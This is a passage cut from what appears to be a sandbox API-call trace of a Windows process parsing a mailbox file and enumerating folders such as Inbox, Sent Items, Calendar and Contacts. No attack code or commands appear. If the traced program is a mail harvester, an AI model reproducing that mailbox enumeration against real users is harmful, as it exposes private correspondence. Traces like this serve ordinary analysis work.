uBytes=0x4) returned 0x7296030 [0100.375] LocalFree (hMem=0x4289f00) returned 0x0 [0100.375] LocalFree (hMem=0x723a9c0) returned 0x0 [0100.375] LocalAlloc (uFlags=0x40, uBytes=0xec) returned 0x4450a60 [0100.375] LocalFree (hMem=0x43bfad0) returned 0x0 [0100.375] LocalFree (hMem=0x28f6ff0) returned 0x0 [0100.375] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.375] LocalFree (hMem=0x43c0b80) returned 0x0 [0100.375] LocalFree (hMem=0x43c0df0) returned 0x0 [0100.375] LocalFree (hMem=0x7295ff0) returned 0x0 [0100.375] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x71b7f00 [0100.375] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x43c0df0 [0100.375] LocalFree (hMem=0x43c0e20) returned 0x0 [0100.375] LocalFree (hMem=0x43c2aa0) returned 0x0 [0100.375] LocalFree (hMem=0x43c28f0) returned 0x0 [0100.375] LocalFree (hMem=0x43c24d0) returned 0x0 [0100.375] LocalFree (hMem=0x43c1ea0) returned 0x0 [0100.375] LocalFree (hMem=0x43c1f00) returned 0x0 [0100.375] LocalFree (hMem=0x7296000) returned 0x0 [0100.375] LocalFree (hMem=0x7296010) returned 0x0 [0100.375] LocalFree (hMem=0x7296020) returned 0x0 [0100.375] LocalFree (hMem=0x7296030) returned 0x0 [0100.375] LocalFree (hMem=0x43c1180) returned 0x0 [0100.375] LocalFree (hMem=0x43bfd70) returned 0x0 [0100.375] LocalFree (hMem=0x43bff20) returned 0x0 [0100.375] LocalFree (hMem=0x43c0040) returned 0x0 [0100.375] LocalFree (hMem=0x43c0dc0) returned 0x0 [0100.375] LocalFree (hMem=0x43c0eb0) returned 0x0 [0100.376] LocalFree (hMem=0x43c0460) returned 0x0 [0100.376] LocalFree (hMem=0x43c0f10) returned 0x0 [0100.376] LocalFree (hMem=0x43bf590) returned 0x0 [0100.376] LocalFree (hMem=0x43c2770) returned 0x0 [0100.376] LocalFree (hMem=0x43c2a10) returned 0x0 [0100.376] LocalFree (hMem=0x43c1d20) returned 0x0 [0100.376] LocalFree (hMem=0x43c1570) returned 0x0 [0100.376] LocalFree (hMem=0x43c1e40) returned 0x0 [0100.376] LocalFree (hMem=0x43c1e10) returned 0x0 [0100.376] LocalFree (hMem=0x43bf9e0) returned 0x0 [0100.376] LocalFree (hMem=0x43c1210) returned 0x0 [0100.376] LocalFree (hMem=0x43c11e0) returned 0x0 [0100.376] LocalFree (hMem=0x71c77d0) returned 0x0 [0100.376] LocalFree (hMem=0x43c2800) returned 0x0 [0100.376] LocalFree (hMem=0x71b7f00) returned 0x0 [0100.376] LocalFree (hMem=0x4450a60) returned 0x0 [0100.376] bsearch (_Key=0x6a1e6c8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x44578a0 [0100.376] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x28c4de0 [0100.376] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=18624, lpDistanceToMoveHigh=0x6a1e688*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e688*=0) returned 0x48c0 [0100.376] ReadFile (in: hFile=0x12b4, lpBuffer=0x28c4de0, nNumberOfBytesToRead=0x8c, lpNumberOfBytesRead=0x6a1e698, lpOverlapped=0x0 | out: lpBuffer=0x28c4de0*, lpNumberOfBytesRead=0x6a1e698*=0x8c, lpOverlapped=0x0) returned 1 [0100.376] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a2e0 [0100.376] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x43c2800 [0100.376] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x71cf3b0 [0100.376] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c11e0 [0100.376] LocalAlloc (uFlags=0x40, uBytes=0x1b) returned 0x43c1210 [0100.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Deleted Items", cchWideChar=28, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleted Items", lpUsedDefaultChar=0x0) returned 28 [0100.376] LocalFree (hMem=0x43c1210) returned 0x0 [0100.376] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x43c1210 [0100.377] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43bf9e0 [0100.377] LocalAlloc (uFlags=0x40, uBytes=0x29) returned 0x72b8760 [0100.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Deleted Items folder", cchWideChar=42, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleted Items folder", lpUsedDefaultChar=0x0) returned 42 [0100.377] LocalFree (hMem=0x72b8760) returned 0x0 [0100.377] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x72b8760 [0100.377] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1e10 [0100.377] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296030 [0100.377] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1e40 [0100.377] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296020 [0100.377] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1570 [0100.377] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296010 [0100.377] LocalFree (hMem=0x28c4de0) returned 0x0 [0100.377] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.377] LocalAlloc (uFlags=0x40, uBytes=0xec) returned 0x4450a60 [0100.377] LocalFree (hMem=0x43c1210) returned 0x0 [0100.377] LocalFree (hMem=0x72b8760) returned 0x0 [0100.377] LocalFree (hMem=0x7296030) returned 0x0 [0100.377] LocalFree (hMem=0x7296020) returned 0x0 [0100.377] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x723a2e0 [0100.377] LocalFree (hMem=0x43c11e0) returned 0x0 [0100.377] LocalFree (hMem=0x43bf9e0) returned 0x0 [0100.377] LocalFree (hMem=0x43c1e10) returned 0x0 [0100.377] LocalFree (hMem=0x43c1e40) returned 0x0 [0100.377] LocalFree (hMem=0x7296010) returned 0x0 [0100.377] LocalFree (hMem=0x43c1570) returned 0x0 [0100.377] LocalFree (hMem=0x71cf3b0) returned 0x0 [0100.377] LocalFree (hMem=0x43c2800) returned 0x0 [0100.377] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.377] LocalFree (hMem=0x4450a60) returned 0x0 [0100.377] bsearch (_Key=0x6a1e6c8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457e90 [0100.378] LocalAlloc (uFlags=0x40, uBytes=0x1f8) returned 0x722c6a0 [0100.378] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=36352, lpDistanceToMoveHigh=0x6a1e688*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e688*=0) returned 0x8e00 [0100.378] ReadFile (in: hFile=0x12b4, lpBuffer=0x722c6a0, nNumberOfBytesToRead=0x1f8, lpNumberOfBytesRead=0x6a1e698, lpOverlapped=0x0 | out: lpBuffer=0x722c6a0*, lpNumberOfBytesRead=0x6a1e698*=0x1f8, lpOverlapped=0x0) returned 1 [0100.378] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a2e0 [0100.378] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x43c2800 [0100.378] LocalAlloc (uFlags=0x40, uBytes=0x1c0) returned 0x4289f00 [0100.378] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1570 [0100.378] LocalAlloc (uFlags=0x40, uBytes=0xb) returned 0x723a9c0 [0100.378] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Inbox", cchWideChar=12, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Inbox", lpUsedDefaultChar=0x0) returned 12 [0100.378] LocalFree (hMem=0x723a9c0) returned 0x0 [0100.378] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x723a9c0 [0100.378] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1e40 [0100.378] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x43c1e10 [0100.378] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Inbox folder", cchWideChar=26, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Inbox folder", lpUsedDefaultChar=0x0) returned 26 [0100.378] LocalFree (hMem=0x43c1e10) returned 0x0 [0100.378] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x43c1e10 [0100.378] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43bf9e0 [0100.378] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296010 [0100.378] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c11e0 [0100.378] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296020 [0100.378] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1210 [0100.378] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296030 [0100.378] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1d20 [0100.379] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x43c2a10 [0100.379] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c2770 [0100.379] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x43bf590 [0100.379] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0f10 [0100.379] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x43c0460 [0100.379] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0eb0 [0100.379] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x43c0dc0 [0100.379] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0040 [0100.379] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x43bff20 [0100.379] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43bfd70 [0100.379] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x43c1180 [0100.379] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1f00 [0100.379] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x43c1ea0 [0100.379] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c24d0 [0100.379] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x72235c0 [0100.379] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c28f0 [0100.379] LocalAlloc (uFlags=0x40, uBytes=0x7) returned 0x7296000 [0100.379] LocalFree (hMem=0x722c6a0) returned 0x0 [0100.379] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.379] LocalAlloc (uFlags=0x40, uBytes=0xec) returned 0x4450a60 [0100.379] LocalFree (hMem=0x723a9c0) returned 0x0 [0100.379] LocalFree (hMem=0x43c1e10) returned 0x0 [0100.379] LocalFree (hMem=0x7296010) returned 0x0 [0100.379] LocalFree (hMem=0x7296020) returned 0x0 [0100.379] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x723a9c0 [0100.379] LocalFree (hMem=0x43c2a10) returned 0x0 [0100.379] LocalFree (hMem=0x43bf590) returned 0x0 [0100.379] LocalFree (hMem=0x43c0460) returned 0x0 [0100.380] LocalFree (hMem=0x43c0dc0) returned 0x0 [0100.380] LocalFree (hMem=0x43bff20) returned 0x0 [0100.380] LocalFree (hMem=0x43c1180) returned 0x0 [0100.380] LocalFree (hMem=0x43c1ea0) returned 0x0 [0100.380] LocalFree (hMem=0x72235c0) returned 0x0 [0100.380] LocalFree (hMem=0x7296000) returned 0x0 [0100.380] LocalFree (hMem=0x43c1570) returned 0x0 [0100.380] LocalFree (hMem=0x43c1e40) returned 0x0 [0100.380] LocalFree (hMem=0x43bf9e0) returned 0x0 [0100.380] LocalFree (hMem=0x43c11e0) returned 0x0 [0100.380] LocalFree (hMem=0x7296030) returned 0x0 [0100.380] LocalFree (hMem=0x43c1210) returned 0x0 [0100.380] LocalFree (hMem=0x43c1d20) returned 0x0 [0100.380] LocalFree (hMem=0x43c2770) returned 0x0 [0100.380] LocalFree (hMem=0x43c0f10) returned 0x0 [0100.380] LocalFree (hMem=0x43c0eb0) returned 0x0 [0100.380] LocalFree (hMem=0x43c0040) returned 0x0 [0100.380] LocalFree (hMem=0x43bfd70) returned 0x0 [0100.380] LocalFree (hMem=0x43c1f00) returned 0x0 [0100.380] LocalFree (hMem=0x43c24d0) returned 0x0 [0100.380] LocalFree (hMem=0x43c28f0) returned 0x0 [0100.380] LocalFree (hMem=0x4289f00) returned 0x0 [0100.380] LocalFree (hMem=0x43c2800) returned 0x0 [0100.380] LocalFree (hMem=0x723a9c0) returned 0x0 [0100.380] LocalFree (hMem=0x4450a60) returned 0x0 [0100.380] bsearch (_Key=0x6a1e6c8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x44578c8 [0100.380] LocalAlloc (uFlags=0x40, uBytes=0x70) returned 0x71a6260 [0100.380] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=23616, lpDistanceToMoveHigh=0x6a1e688*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e688*=0) returned 0x5c40 [0100.380] ReadFile (in: hFile=0x12b4, lpBuffer=0x71a6260, nNumberOfBytesToRead=0x70, lpNumberOfBytesRead=0x6a1e698, lpOverlapped=0x0 | out: lpBuffer=0x71a6260*, lpNumberOfBytesRead=0x6a1e698*=0x70, lpOverlapped=0x0) returned 1 [0100.380] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a9c0 [0100.380] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x43c2800 [0100.380] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x71cf3b0 [0100.381] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c28f0 [0100.381] LocalAlloc (uFlags=0x40, uBytes=0xd) returned 0x723a2e0 [0100.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Outbox", cchWideChar=14, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outbox", lpUsedDefaultChar=0x0) returned 14 [0100.381] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.381] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x723a2e0 [0100.381] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c24d0 [0100.381] LocalAlloc (uFlags=0x40, uBytes=0x1b) returned 0x43c1f00 [0100.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Outbox folder", cchWideChar=28, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outbox folder", lpUsedDefaultChar=0x0) returned 28 [0100.381] LocalFree (hMem=0x43c1f00) returned 0x0 [0100.381] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x43c1f00 [0100.381] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43bfd70 [0100.381] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296030 [0100.381] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0040 [0100.381] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296000 [0100.381] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0eb0 [0100.381] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296020 [0100.381] LocalFree (hMem=0x71a6260) returned 0x0 [0100.381] LocalFree (hMem=0x723a9c0) returned 0x0 [0100.381] LocalAlloc (uFlags=0x40, uBytes=0xec) returned 0x4450a60 [0100.381] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.381] LocalFree (hMem=0x43c1f00) returned 0x0 [0100.381] LocalFree (hMem=0x7296030) returned 0x0 [0100.381] LocalFree (hMem=0x7296000) returned 0x0 [0100.381] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x723a2e0 [0100.381] LocalFree (hMem=0x43c28f0) returned 0x0 [0100.381] LocalFree (hMem=0x43c24d0) returned 0x0 [0100.381] LocalFree (hMem=0x43bfd70) returned 0x0 [0100.381] LocalFree (hMem=0x43c0040) returned 0x0 [0100.382] LocalFree (hMem=0x7296020) returned 0x0 [0100.382] LocalFree (hMem=0x43c0eb0) returned 0x0 [0100.382] LocalFree (hMem=0x71cf3b0) returned 0x0 [0100.382] LocalFree (hMem=0x43c2800) returned 0x0 [0100.382] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.382] LocalFree (hMem=0x4450a60) returned 0x0 [0100.382] bsearch (_Key=0x6a1e6c8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x44578f0 [0100.382] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x72235c0 [0100.382] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=19200, lpDistanceToMoveHigh=0x6a1e688*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e688*=0) returned 0x4b00 [0100.382] ReadFile (in: hFile=0x12b4, lpBuffer=0x72235c0, nNumberOfBytesToRead=0x80, lpNumberOfBytesRead=0x6a1e698, lpOverlapped=0x0 | out: lpBuffer=0x72235c0*, lpNumberOfBytesRead=0x6a1e698*=0x80, lpOverlapped=0x0) returned 1 [0100.382] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a2e0 [0100.382] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x43c2800 [0100.382] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x71cf3b0 [0100.382] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0eb0 [0100.382] LocalAlloc (uFlags=0x40, uBytes=0x15) returned 0x723a9c0 [0100.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sent Items", cchWideChar=22, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sent Items", lpUsedDefaultChar=0x0) returned 22 [0100.382] LocalFree (hMem=0x723a9c0) returned 0x0 [0100.382] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x723a9c0 [0100.382] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0040 [0100.382] LocalAlloc (uFlags=0x40, uBytes=0x23) returned 0x43bfd70 [0100.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sent Items folder", cchWideChar=36, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sent Items folder", lpUsedDefaultChar=0x0) returned 36 [0100.382] LocalFree (hMem=0x43bfd70) returned 0x0 [0100.382] LocalAlloc (uFlags=0x40, uBytes=0x24) returned 0x43bfd70 [0100.382] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c24d0 [0100.382] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296020 [0100.383] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c28f0 [0100.383] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296000 [0100.383] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1f00 [0100.383] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296030 [0100.383] LocalFree (hMem=0x72235c0) returned 0x0 [0100.383] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.383] LocalAlloc (uFlags=0x40, uBytes=0xec) returned 0x4450a60 [0100.383] LocalFree (hMem=0x723a9c0) returned 0x0 [0100.383] LocalFree (hMem=0x43bfd70) returned 0x0 [0100.383] LocalFree (hMem=0x7296020) returned 0x0 [0100.383] LocalFree (hMem=0x7296000) returned 0x0 [0100.383] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x723a9c0 [0100.383] LocalFree (hMem=0x43c0eb0) returned 0x0 [0100.383] LocalFree (hMem=0x43c0040) returned 0x0 [0100.383] LocalFree (hMem=0x43c24d0) returned 0x0 [0100.383] LocalFree (hMem=0x43c28f0) returned 0x0 [0100.383] LocalFree (hMem=0x7296030) returned 0x0 [0100.383] LocalFree (hMem=0x43c1f00) returned 0x0 [0100.383] LocalFree (hMem=0x71cf3b0) returned 0x0 [0100.383] LocalFree (hMem=0x43c2800) returned 0x0 [0100.383] LocalFree (hMem=0x723a9c0) returned 0x0 [0100.383] LocalFree (hMem=0x4450a60) returned 0x0 [0100.383] bsearch (_Key=0x6a1e6c8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457990 [0100.383] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x72235c0 [0100.383] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=23232, lpDistanceToMoveHigh=0x6a1e688*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e688*=0) returned 0x5ac0 [0100.383] ReadFile (in: hFile=0x12b4, lpBuffer=0x72235c0, nNumberOfBytesToRead=0x80, lpNumberOfBytesRead=0x6a1e698, lpOverlapped=0x0 | out: lpBuffer=0x72235c0*, lpNumberOfBytesRead=0x6a1e698*=0x80, lpOverlapped=0x0) returned 1 [0100.383] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a9c0 [0100.384] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x43c2800 [0100.384] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x2815190 [0100.384] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1f00 [0100.384] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x723a2e0 [0100.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Calendar", cchWideChar=18, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Calendar", lpUsedDefaultChar=0x0) returned 18 [0100.384] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.384] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x723a2e0 [0100.384] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c28f0 [0100.384] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296030 [0100.384] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c24d0 [0100.384] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296000 [0100.384] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0040 [0100.384] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296020 [0100.384] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0eb0 [0100.384] LocalAlloc (uFlags=0x40, uBytes=0x1f) returned 0x43bfd70 [0100.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IPF.Appointment", cchWideChar=32, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IPF.Appointment", lpUsedDefaultChar=0x0) returned 32 [0100.384] LocalFree (hMem=0x43bfd70) returned 0x0 [0100.384] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43bfd70 [0100.384] LocalFree (hMem=0x72235c0) returned 0x0 [0100.384] LocalFree (hMem=0x723a9c0) returned 0x0 [0100.384] LocalAlloc (uFlags=0x40, uBytes=0xec) returned 0x4450a60 [0100.384] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.384] LocalFree (hMem=0x7296030) returned 0x0 [0100.384] LocalFree (hMem=0x7296000) returned 0x0 [0100.384] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x723a2e0 [0100.384] LocalFree (hMem=0x43bfd70) returned 0x0 [0100.384] LocalFree (hMem=0x43c1f00) returned 0x0 [0100.384] LocalFree (hMem=0x43c28f0) returned 0x0 [0100.384] LocalFree (hMem=0x43c24d0) returned 0x0 [0100.384] LocalFree (hMem=0x7296020) returned 0x0 [0100.384] LocalFree (hMem=0x43c0040) returned 0x0 [0100.385] LocalFree (hMem=0x43c0eb0) returned 0x0 [0100.385] LocalFree (hMem=0x2815190) returned 0x0 [0100.385] LocalFree (hMem=0x43c2800) returned 0x0 [0100.385] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.385] LocalFree (hMem=0x4450a60) returned 0x0 [0100.385] bsearch (_Key=0x6a1e6c8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x44579b8 [0100.385] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x71a6260 [0100.385] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=26432, lpDistanceToMoveHigh=0x6a1e688*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e688*=0) returned 0x6740 [0100.385] ReadFile (in: hFile=0x12b4, lpBuffer=0x71a6260, nNumberOfBytesToRead=0x78, lpNumberOfBytesRead=0x6a1e698, lpOverlapped=0x0 | out: lpBuffer=0x71a6260*, lpNumberOfBytesRead=0x6a1e698*=0x78, lpOverlapped=0x0) returned 1 [0100.385] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a2e0 [0100.385] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x43c2800 [0100.385] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x2815190 [0100.385] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0eb0 [0100.385] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x723a9c0 [0100.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Contacts", cchWideChar=18, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contacts", lpUsedDefaultChar=0x0) returned 18 [0100.385] LocalFree (hMem=0x723a9c0) returned 0x0 [0100.385] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x723a9c0 [0100.385] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0040 [0100.385] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296020 [0100.385] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c24d0 [0100.385] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296000 [0100.385] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c28f0 [0100.385] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296030 [0100.385] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1f00 [0100.385] LocalAlloc (uFlags=0x40, uBytes=0x17) returned 0x723b7e0 [0100.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IPF.Contact", cchWideChar=24, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IPF.Contact", lpUsedDefaultChar=0x0) returned 24 [0100.386] LocalFree (hMem=0x723b7e0) returned 0x0 [0100.386] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b7e0 [0100.386] LocalFree (hMem=0x71a6260) returned 0x0 [0100.386] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.386] LocalAlloc (uFlags=0x40, uBytes=0xec) returned 0x4450a60 [0100.386] LocalFree (hMem=0x723a9c0) returned 0x0 [0100.386] LocalFree (hMem=0x7296020) returned 0x0 [0100.386] LocalFree (hMem=0x7296000) returned 0x0 [0100.386] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x723a9c0 [0100.386] LocalFree (hMem=0x723b7e0) returned 0x0 [0100.386] LocalFree (hMem=0x43c0eb0) returned 0x0 [0100.386] LocalFree (hMem=0x43c0040) returned 0x0 [0100.386] LocalFree (hMem=0x43c24d0) returned 0x0 [0100.386] LocalFree (hMem=0x7296030) returned 0x0 [0100.386] LocalFree (hMem=0x43c28f0) returned 0x0 [0100.386] LocalFree (hMem=0x43c1f00) returned 0x0 [0100.386] LocalFree (hMem=0x2815190) returned 0x0 [0100.386] LocalFree (hMem=0x43c2800) returned 0x0 [0100.386] LocalFree (hMem=0x723a9c0) returned 0x0 [0100.386] LocalFree (hMem=0x4450a60) returned 0x0 [0100.386] bsearch (_Key=0x6a1e6c8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x44579e0 [0100.386] LocalAlloc (uFlags=0x40, uBytes=0x76) returned 0x71a6260 [0100.386] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=30464, lpDistanceToMoveHigh=0x6a1e688*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e688*=0) returned 0x7700 [0100.386] ReadFile (in: hFile=0x12b4, lpBuffer=0x71a6260, nNumberOfBytesToRead=0x76, lpNumberOfBytesRead=0x6a1e698, lpOverlapped=0x0 | out: 